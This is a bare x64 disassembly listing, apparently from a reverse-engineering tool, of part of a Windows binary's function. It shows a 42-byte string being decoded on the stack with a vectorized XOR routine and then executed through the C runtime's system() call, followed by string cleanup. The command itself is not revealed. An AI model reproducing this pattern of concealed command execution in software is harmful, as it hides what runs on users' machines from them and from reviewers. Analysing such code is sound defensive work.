movups xmm1, xmmword [0x1401aa910]
movups xmmword [rbp - 0x10], xmm1
movsd xmm0, qword [0x1401aa920]
movsd qword [rbp], xmm0
movzx eax, word [0x1401aa928]
mov word [rbp + 8], ax
cmp ebx, 2
jl 0x14004b7ee
movdqa xmmword [rsp + 0x40], xmm11
lea rcx, [rbp - 0x1c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x28
jl 0x14004b700
cmp esi, 0x2a
jge 0x14004b82f
movsxd rax, esi
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x2a
jl 0x14004b800
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x14004b87e
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b879
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b879
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0x240], xmm10
mov byte [rbp + 0x230], 0
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x14004b8d2
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b8cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b8cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0x1c0], xmm10
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0xf
jbe 0x14004b926
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b921
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b921
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0x1e0], xmm10
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x268]
cmp rdx, 0xf
jbe 0x14004b97a
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b975
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b975
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0x260], xmm10
mov byte [rbp + 0x250], 0
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x14004b9ce
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b9c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004b9c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0x280], xmm10
mov byte [rbp + 0x270], 0
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0xf
jbe 0x14004ba22
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ba1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ba1d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0x2a0], xmm10
mov byte [rbp + 0x290], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 0xf
jbe 0x14004ba76
inc rdx
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ba71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ba71
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
movdqu xmmword [rbp + 0x200], xmm10
mov byte [rbp + 0x1f0], 0
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x14004baca
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bac5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004bac5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140164db4
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.140164680
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret